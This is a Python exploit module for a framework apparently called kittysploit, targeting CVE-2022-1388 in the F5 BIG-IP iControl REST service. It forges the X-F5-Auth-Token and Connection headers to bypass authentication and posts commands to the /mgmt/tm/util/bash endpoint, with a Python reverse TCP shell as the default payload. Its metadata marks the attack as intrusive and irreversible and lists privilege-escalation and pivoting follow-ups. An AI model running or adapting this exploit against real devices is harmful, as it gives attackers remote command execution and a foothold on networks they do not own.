F5 BIG-IP iControl RCE via REST Authentication Bypass

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_login import Http_login

class Module(Exploit, Http_client, Http_login):

    __info__ = {
            "name": "F5 BIG-IP iControl RCE via REST Authentication Bypass",
            "description": "This module exploits an authentication bypass vulnerability"\
                            " in the F5 BIG-IP iControl REST service to gain access to the"\
                            " admin account, which is capable of executing commands"\
                            "through the /mgmt/tm/util/bash endpoint.",
            "cve": "2022-1388",
            "payload": {
                "default": "payloads/singles/cmd/unix/python_reverse_tcp",
                "platform": Platform.UNIX,
                "arch": [Arch.X64, Arch.X86],
                "category": PayloadCategory.SINGLE,
                },
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires':             {'min_endpoints': 0,
             'min_params': 0,
             'tech_hints_any': [],
             'tech_hints_all': [],
             'specializations_any': [],
             'risk_signals_any': [],
             'auth_session': False,
             'capabilities_any': [],
             'capabilities_all': [],
             'confidence_min': {},
             'confidence_min_any': {},
             'endpoint_pattern_any': [],
             'param_any': [],
             'api_surface_ready': False},
            'chain':             {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                       {'capability': 'shell', 'from_detail': ''}],
             'consumes_capabilities': [],
             'option_bindings': {},
             'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                     'post/shell/multi/manage/pivot_autoroute']},
        },
        }

    def run(self):

        headers = {	
            'Connection':'keep-alive, X-F5-Auth-Token',
            'X-F5-Auth-Token': '0'

        }
        
        data = {"command": "run", "utilCmdArgs": f"-c '{self.payload}'"}
        
        r = self.http_request(method="POST", 
                                path="/mgmt/tm/util/bash",
                                auth= (self.username, self.password), 
                                data=data,
                                headers=headers)
        
        if not r:
            self.not_vulnerable()
            return